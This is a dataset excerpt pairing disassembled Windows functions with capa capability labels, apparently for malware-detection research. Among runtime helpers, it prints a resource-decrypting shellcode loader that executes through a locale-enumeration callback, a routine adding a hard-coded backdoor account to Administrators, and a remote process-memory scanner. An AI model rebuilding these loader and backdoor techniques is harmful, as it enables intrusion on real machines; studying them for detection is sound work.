joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400da540
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1401e0c90]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400da560
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400da568
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400da560
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400da5b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400da5a7
test rcx, rcx
je 0x1400da560
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400da598
xor eax, eax
ret

Function at 0x1400da5c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401e0c90]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400da5df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400da5e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400da600
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401e0c90]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400da620
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400da628
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400da620
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400da620
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400da674
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400da680
add rdx, 0x28
cmp r9, rdx
jne 0x1400da660
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400da690
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1401e0c90]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400da6b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400da6c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400da6b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400da6b2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400da6b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400da715
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400da728
add rdx, 0x28
cmp rdx, r10
jne 0x1400da700
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400da737
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400da747
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400da71e
test ecx, ecx
jg 0x1400da730
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140001052
mov eax, 0xffffffff
jmp 0x14000112a
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140001080
mov eax, 0xffffffff
jmp 0x14000112a
xor r9d, r9d
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400010a6
mov eax, 0xffffffff
jmp 0x14000112a
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rsp + 0x38]
mov edx, 0x6610
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1400010d3
mov eax, 0xffffffff
jmp 0x14000112a
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140001105
mov eax, 0xffffffff
jmp 0x14000112a
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012d0
add rsp, 0x58
ret
Function at 0x140001140
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x98
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x70], 0xbd
mov byte [rsp + 0x71], 0x77
mov byte [rsp + 0x72], 0xec
mov byte [rsp + 0x73], 0xfd
mov byte [rsp + 0x74], 0x70
mov byte [rsp + 0x75], 0xf
mov byte [rsp + 0x76], 0x2a
mov byte [rsp + 0x77], 0xc
mov byte [rsp + 0x78], 0x4d
mov byte [rsp + 0x79], 0xfd
mov byte [rsp + 0x7a], 0xa5
mov byte [rsp + 0x7b], 0x5e
mov byte [rsp + 0x7c], 0xd1
mov byte [rsp + 0x7d], 0xca
mov byte [rsp + 0x7e], 0xe
mov byte [rsp + 0x7f], 0xbb
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14000120f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x44], eax
xor eax, eax
jmp 0x1400012a0
mov rdx, qword [rsp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x20]
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.VCRUNTIME140.dll_memmove]
mov r9d, 0x10
lea r8, [rsp + 0x70]
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
call section..text
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400012d0
add rsp, 0x98
ret
Function at 0x14001128f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400153f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001132a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140016740
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140016760
xor al, al
jmp 0x1400167e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140016773
xor al, al
jmp 0x1400167e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001679d
xor al, al
jmp 0x1400167e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400167b1
xor al, al
jmp 0x1400167e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400167c3
xor al, al
jmp 0x1400167e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400167df
xor al, al
jmp 0x1400167e1
mov al, 1
add rsp, 0x38
ret
Function at 0x18006378f
Capabilities:
Add user account to group

Disassembly:
jmp 0x18006aaef
jmp qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]

Function at 0x1800638b1
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1800fd020
mov qword [rsp + 8], rcx
sub rsp, 0x38
call fcn.1800fc070
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800fd057
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x180177020]
jmp 0x1800fd05d
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x38
ret

Function at 0x180063d61
Capabilities:
Add user account
Add user account to group
Get user security identifier

Disassembly:
jmp 0x180069680
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x180165008]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x180176025]
call fcn.180065e77
mov dword [rbp + 0xb4], pe_nt_image_headers64
mov dword [rbp + 0x1f4], 0x80
mov r8d, 0x38
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.1800652a6
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x3c], 1
mov dword [rbp + 0x50], 0x201
mov qword [rbp + 0x58], 0
xor r9d, r9d
lea r8, [rbp + 0x28]
mov edx, 1
xor ecx, ecx
call fcn.180064c52
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x180069745
mov eax, 0xffffffff
jmp 0x1800697e1
lea rax, [rbp + 0x94]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1f4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb4]
lea r8, [rbp + 0xe0]
lea rdx, str.waxapple231
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x180069796
mov eax, 0xffffffff
jmp 0x1800697e1
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x78]
call fcn.1800652a6
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x78], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x78]
xor r8d, r8d
lea rdx, str.Administrators
xor ecx, ecx
call fcn.18006378f
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1800697df
mov eax, 0xffffffff
jmp 0x1800697e1
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x180134c28]
call fcn.180065657
mov rax, rdi
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1800646cb
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x180064531
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1800debf0
mov rax, rcx
neg rcx
test rax, 7
je 0x1800dec0d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1800dec68
test al, 7
jne 0x1800dec00
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1800dec21
mov rdx, qword [rax - 8]
test dl, dl
je 0x1800dec92
test dh, dh
je 0x1800dec8c
shr rdx, 0x10
test dl, dl
je 0x1800dec86
test dh, dh
je 0x1800dec80
shr rdx, 0x10
test dl, dl
je 0x1800dec7a
test dh, dh
je 0x1800dec74
shr edx, 0x10
test dl, dl
je 0x1800dec6e
test dh, dh
jne 0x1800dec21
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x180064842
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x180085790
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180085110
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800857cf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x180177020]
jmp 0x1800857d9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x180064973
Capabilities:
Query environment variable

Disassembly:
jmp 0x1800fa6e0
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r14d, r14d
mov rbx, rax
test rax, rax
je 0x1800fa7c8
mov rsi, rax
cmp word [rax], r14w
je 0x1800fa733
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r14w
jne 0x1800fa71b
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], r14w
jne 0x1800fa717
mov qword [rsp + 0x38], r14
sub rsi, rbx
mov qword [rsp + 0x30], r14
add rsi, 2
sar rsi, 1
mov r8, rbx
mov r9d, esi
mov dword [rsp + 0x28], r14d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call fcn.1800652f1
movsxd rbp, eax
test eax, eax
je 0x1800fa7c8
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov rcx, rbp
lea edx, [r9 - 0x64]
call fcn.180064743
mov rdi, rax
test rax, rax
je 0x1800fa7b6
mov qword [rsp + 0x38], r14
mov r9d, esi
mov qword [rsp + 0x30], r14
mov r8, rbx
mov dword [rsp + 0x28], ebp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call fcn.1800652f1
test eax, eax
je 0x1800fa7b6
mov rsi, rdi
mov rdi, r14
jmp 0x1800fa7b9
mov rsi, r14
mov edx, 2
mov rcx, rdi
call fcn.18006382a
jmp 0x1800fa7cb
mov rsi, r14
test rbx, rbx
je 0x1800fa7d9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180064982
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1800856c0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.180085090
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180085701
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x180177020]
jmp 0x180085707
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret

Function at 0x1800649f5
Capabilities:
Get geographical location

Disassembly:
jmp 0x1800fd2f0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1800fc270
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1800fd343
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov edx, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
call qword [0x180177020]
jmp 0x1800fd365
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.1800642c5
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov edx, dword [rsp + 0x58]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x48
ret

Function at 0x1800649ff
Capabilities:
Terminate process

Disassembly:
jmp 0x18006c030
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x180064bd5
Capabilities:
Print debug messages

Disassembly:
jmp 0x180105ce0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x180165008]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x180105d06
jmp 0x180105d83
mov rcx, qword [rbp + 0x30]
call fcn.180064531
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x180105d1f
jmp 0x180105d83
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x180105d3c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.180063852
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.180063bfe
test eax, eax
jne 0x180105d83
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1800646cb
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x180064c52
Capabilities:
Add user account

Disassembly:
jmp 0x18006aae9
jmp qword [sym.imp.NETAPI32.dll_NetUserAdd]
Function at 0x18006544f
Capabilities:
Terminate process

Disassembly:
jmp 0x1800df3d0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1800df3fe
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.180065b16
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1800654f9
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1800fd0e0
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.1800fc0f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800fd115
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x180177020]
jmp 0x1800fd11f
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x38
ret

Function at 0x180065909
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1800fd140
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.1800fc130
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800fd17f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x180177020]
jmp 0x1800fd18e
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x38
ret

Function at 0x180065b75
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800e6e20
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x180065c0b
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x180085800
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180085150
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180085849
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x180177020]
jmp 0x180085858
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret
Function at 0x1400012b0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
movaps xmmword [rsp + 0xb0], xmm6
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rbx, rdx
mov qword [rsp + 0x30], rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rbp, qword [rsp + 0x78]
cmp rbp, qword [rsp + 0x80]
jae 0x140001474
movss xmm6, dword [0x140005830]
nop word [rax + rax]
mov r9d, 0x30
lea r8, [rsp + 0x38]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
je 0x14000145f
cmp dword [rsp + 0x58], 0x1000
jne 0x140001458
mov eax, dword [rsp + 0x60]
add eax, 0xfffe0000
test eax, 0xfffdffff
jne 0x140001458
mov rcx, qword [rsp + 0x50]
call fcn.14000394c
mov r13, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, r13
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140001450
mov r12, qword [rdi + 0x10]
mov rsi, qword [rsp + 0xa0]
sub rsi, r12
je 0x140001450
mov r15, qword [rdi + 0x18]
mov rax, qword [rsp + 0x38]
lea rbx, [rax + 0xf0]
mov r14, r13
sub r14, rax
mov rdx, rdi
cmp r15, 0xf
jbe 0x1400013d1
mov rdx, qword [rdi]
lea rcx, [r14 - 0xf0]
add rcx, rbx
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000143e
lea rax, [r14 + 0x1d8]
add rax, rbx
je 0x14000143e
movss xmm0, dword [rax]
ucomiss xmm0, xmm6
jp 0x14000143e
jne 0x14000143e
lea rax, [rbx + 0x1d8]
mov qword [0x1400099f8], rax
mov qword [0x140009a28], rbx
lea rax, [rbx - 0x20]
mov qword [0x140009a30], rax
lea rax, [rbx - 0x30]
mov qword [0x140009a00], rax
lea rax, [rbx + 0x1e4]
mov qword [0x140009a20], rax
mov byte [0x140009a40], 1
inc rbx
sub rsi, 1
jne 0x1400013c5
mov rbx, qword [rsp + 0x30]
mov rcx, r13
call fcn.140003900
add rbp, qword [rsp + 0x50]
jmp 0x140001466
mov eax, dword [rsp + 0x74]
add rbp, rax
cmp rbp, qword [rsp + 0x80]
jb 0x140001320
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400014aa
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400014a5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400014f0
mov rcx, r8
call fcn.140003900
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.1400038e0
mov rbx, qword [rsp + 0x110]
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140004268
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400042b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400042b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400042b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400042b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400042b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400042b4
xor al, al
add rsp, 0x28
ret
Function at 0x140003acc
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x1400038a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400038a0
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400038a0
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400038a0
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400038a0
cmp dword [rcx + 0x84], 0xe
jbe 0x1400038a0
cmp dword [rcx + 0xf8], esi
je 0x1400038a0
mov ecx, r14d
call fcn.1400039e8
mov ecx, 2
call fcn.140006388
nop
cmp byte [0x140015c48], 0
jne 0x14000396a
mov r15d, 1
mov eax, r15d
xchg dword [0x140015c38], eax
test ebx, ebx
jne 0x140003913
mov rdi, qword [0x140015018]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140015c40]
cmp rcx, rax
je 0x14000390a
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140002920]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140015c90]
jmp 0x14000391f
cmp ebx, r15d
jne 0x140003925
lea rcx, [0x140015ca8]
call fcn.140004090
nop
test ebx, ebx
jne 0x14000393c
lea rdx, [0x14000c300]
lea rcx, [0x14000c2e0]
call fcn.140003760
lea rdx, [0x14000c310]
lea rcx, [0x14000c308]
call fcn.140003760
movzx eax, byte [0x140015c48]
test esi, esi
cmove eax, r15d
mov byte [0x140015c48], al
jmp 0x14000396a
mov ecx, 2
call fcn.1400063dc
